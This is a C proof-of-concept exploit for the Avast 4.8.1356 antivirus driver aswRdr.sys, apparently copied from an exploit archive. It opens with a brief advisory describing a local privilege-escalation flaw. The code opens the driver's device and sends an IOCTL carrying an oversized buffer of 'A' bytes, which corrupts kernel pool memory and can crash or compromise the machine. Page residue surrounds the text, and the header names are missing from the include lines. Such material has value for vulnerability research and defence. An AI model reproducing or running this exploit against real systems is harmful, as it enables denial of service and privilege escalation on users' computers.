88 lines
No EOL
1.9 KiB
C
88 lines
No EOL
1.9 KiB
C
// source: https://www.securityfocus.com/bid/37031/info
|
|
|
|
Avast! Antivirus is prone to a local privilege-escalation vulnerability.
|
|
|
|
Local attackers can exploit this issue to execute arbitrary code with superuser privileges and completely compromise the affected computer. Failed exploit attempts will result in a denial-of-service condition.
|
|
|
|
Avast! Antivirus 4.8.1356 is vulnerable; other versions may also be affected.
|
|
|
|
/* Avast 4.8.1356.0 antivirus aswRdr.sys Kernel Pool Corruption
|
|
*
|
|
* Author(s): Giuseppe 'Evilcry' Bonfa'
|
|
* AbdulAziz Hariri
|
|
* E-Mail: evilcry _AT_ gmail _DOT_ com
|
|
* Website: http://evilcry.netsons.org
|
|
* http://evilcodecave.blogspot.com
|
|
* http://evilcodecave.wordpress.com
|
|
* http://evilfingers.com
|
|
*
|
|
* Disclosure Timeline: As specified in the Advisory.
|
|
*/
|
|
|
|
#define WIN32_LEAN_AND_MEAN
|
|
#include
|
|
#include
|
|
|
|
|
|
BOOL OpenDevice(PWSTR DriverName, HANDLE *lphDevice) //taken from esagelab
|
|
{
|
|
WCHAR DeviceName[MAX_PATH];
|
|
HANDLE hDevice;
|
|
|
|
if ((GetVersion() & 0xFF) >= 5)
|
|
{
|
|
wcscpy(DeviceName, L"\\\\.\\Global\\");
|
|
}
|
|
else
|
|
{
|
|
wcscpy(DeviceName, L"\\\\.\\");
|
|
}
|
|
|
|
wcscat(DeviceName, DriverName);
|
|
|
|
printf("Opening.. %S\n", DeviceName);
|
|
|
|
hDevice = CreateFileW(DeviceName, GENERIC_READ | GENERIC_WRITE, 0,
|
|
NULL, OPEN_EXISTING,
|
|
FILE_ATTRIBUTE_NORMAL, NULL);
|
|
|
|
if (hDevice == INVALID_HANDLE_VALUE)
|
|
{
|
|
printf("CreateFile() ERROR %d\n", GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
*lphDevice = hDevice;
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
int main()
|
|
{
|
|
HANDLE hDev = NULL;
|
|
DWORD Junk;
|
|
|
|
if(!OpenDevice(L"aswRDR",&hDev))
|
|
{
|
|
printf("Unable to access aswMon");
|
|
return(0);
|
|
}
|
|
|
|
char *Buff = (char *)VirtualAlloc(NULL, 0x156, MEM_RESERVE |
|
|
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
if (Buff)
|
|
{
|
|
memset(Buff, 'A', 0x156);
|
|
|
|
DeviceIoControl(hDev,0x80002024,Buff,0x156,Buff,0x156,&Junk,(LPOVERLAPPED)NULL);
|
|
printf("DeviceIoControl Executed..\n");
|
|
}
|
|
else
|
|
{
|
|
printf("VirtualAlloc() ERROR %d\n", GetLastError());
|
|
}
|
|
|
|
|
|
return(0);
|
|
} |